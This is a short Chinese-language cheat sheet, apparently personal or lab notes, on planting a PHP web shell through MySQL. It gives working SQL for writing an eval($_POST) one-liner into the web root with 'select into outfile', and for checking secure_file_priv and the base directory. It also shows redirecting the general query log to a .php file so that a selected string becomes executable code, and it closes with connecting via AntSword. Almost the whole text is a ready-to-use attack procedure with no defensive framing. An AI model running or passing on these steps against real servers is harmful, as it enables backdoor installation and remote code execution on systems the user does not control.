select into outfile
使用方法
select load_file('C:/phpStudy/WWW/shell.php')
select '<?php eval($_POST[123]); ?>' into outfile 'C:/phpStudy/WWW/shell.php';
1.查看绝对目录
select @@basedir;
2.查看写入权限
SHOW VARIABLES LIKE "secure_file_priv";
NULL表示禁止,无法写入
利用日志写shell
1.搜索日志文件
SHOW VARIABLES LIKE 'general%'
OFF 表示日志关闭
C:\phpStudy\MySQL\data\stu1.log 为日志绝对路径
可以通过sql语句打开日志,并且自定义日志的目录,这里我们直接放在 C:/phpStudy/WWW/ ,一定要放在解析目录下
2.执行语句
set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/shell.php';
表示执行成功
3.写入phpinfo查看是否解析
select '<?php phpinfo();?>';
正常解析
4.写入简单一句话,使用蚁剑连接即可
select '<?php eval($_POST[123]);?>';